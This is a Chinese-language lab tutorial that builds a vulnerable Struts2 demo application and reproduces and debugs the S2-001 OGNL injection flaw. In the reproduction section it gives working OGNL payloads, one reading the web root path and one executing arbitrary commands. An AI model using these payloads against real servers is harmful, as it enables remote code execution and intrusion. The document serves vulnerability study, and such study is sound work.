一、环境搭建:
首先在IDEA中搭建调试环境,File-New-Java Enterprise,选择Web Application:
然后构造项目,这里使用现成的Demo代码:
依次新建web.xml:
<?xml version="1.0" encoding="UTF-8"?><web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1"> <display-name>S2-001 Example</display-name> <filter> <filter-name>struts2</filter-name> <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class> </filter> <filter-mapping> <filter-name>struts2</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <welcome-file-list> <welcome-file>index.jsp</welcome-file> </welcome-file-list></web-app>
前端代码,登录页面index.jsp和登录成功的welcome.jsp:
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%@ taglib prefix="s" uri="/struts-tags" %><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>S2-001</title></head><body><h2>S2-001 Demo</h2><p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p><s:form action="login"> <s:textfield name="username" label="username" /> <s:textfield name="password" label="password" /> <s:submit></s:submit></s:form></body></html>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%@ taglib prefix="s" uri="/struts-tags" %><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>S2-001</title></head><body><p>Hello <s:property value="username"></s:property></p></body></html>
src中新建com.demo.action包,后端处理代码LoginAction.java:
package com.demo.action;import com.opensymphony.xwork2.ActionSupport;public class LoginAction extends ActionSupport { private String username = null; private String password = null; public String getUsername() { return this.username; }
public String getPassword() { return this.password; }
public void setUsername(String username) { this.username = username; }
public void setPassword(String password) { this.password = password; }
public String execute() throws Exception { if ((this.username.isEmpty()) || (this.password.isEmpty())) { return "error"; } if ((this.username.equalsIgnoreCase("admin")) && (this.password.equals("admin"))) { return "success"; } return "error"; }}
并在src目录下新建struts.xml:
<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "http://struts.apache.org/dtds/struts-2.0.dtd"><struts> <package name="S2-001" extends="struts-default"> <action name="login" class="com.demo.action.LoginAction"> <result name="success">welcome.jsp</result> <result name="error">index.jsp</result> </action> </package></struts>
最后在web目录下新建lib目录,放进所需的四个调用jar包,struts包下载地址:http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip并在File—Project Structure—Dependencies—“+” 号—JARs将jar包导入:
最后将IDEA连接本地搭建好的Tomcat服务器,Run-EditConfigurations,配置tomcat安装地址及JRE:
二、攻击效果复现:
点击Run之后,进入搭建的环境,系统是在password字段触发的,首先在这里输入%{2+3}:
按代码逻辑,提交后若账号密码错误会将输入打印,发现password被解析:2+3的结果5:
进一步进行攻击,输入payload,如获取web目录:
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
执行任意代码RCE:
%{#a=(new java.lang.ProcessBuilder(newjava.lang.String[]{"calc"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=newjava.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=newchar[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(newjava.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
三、动态调试
这才到了本文的重点,了解OGNL注入的漏洞原理及触发过程以及动态调试的相关知识。S2-001的漏洞原理是在Struts2重新渲染jsp时,对ognl表达式进行了递归解析,导致了恶意的表达式被执行。我们以Debug方式运行环境:
在此之前需下一断点,系统在运行在这里的地方会停住,在点击Submit,http请求经过tomcat容器的处理之后会到达struts2,所以可以从这里开始调试,ParametersInterceptor类接受我们输入的参数值进行处理:
开启Debug后,输入payload后submit,程序在断点处停下,可观察此时堆栈的情况:
下断点的方法有很多,和二进制逆向的方法类似,下断点的目的是帮助我们定位到关键处理。下断点之后的另一个工作就是调试,主要用的Step into(F7)——遇到方法会进入,和Step over(F8)——不跟进方法内部。
这里也可以在自定义类LoginAction里下断点:
从调用栈中可以看到,在DefaultActionInvocation类中反射调用了我们自定义的类LoginAction
最终都会到达TextParseUtil类,在此处下断点,程序会进入几次,循环将变量转换为对象,所以expression不一样:
读取jsp标签并通过UIBean解析,这里可以Step over直到解析到标签的值:
经过XWorkConverter后expression的值变为%{password}:
由于没有验证,输入%{2+3}被当做表达式进行解析,将解析结果取出继续在while中循环解析,由于结果2不满足表达式规则,将其返回为最终结果。
总结一下,漏洞的根因出现在XWork中ognl表达式的解析方法为递归解析。其他漏洞的动态调试方法也大概如此,后续总结。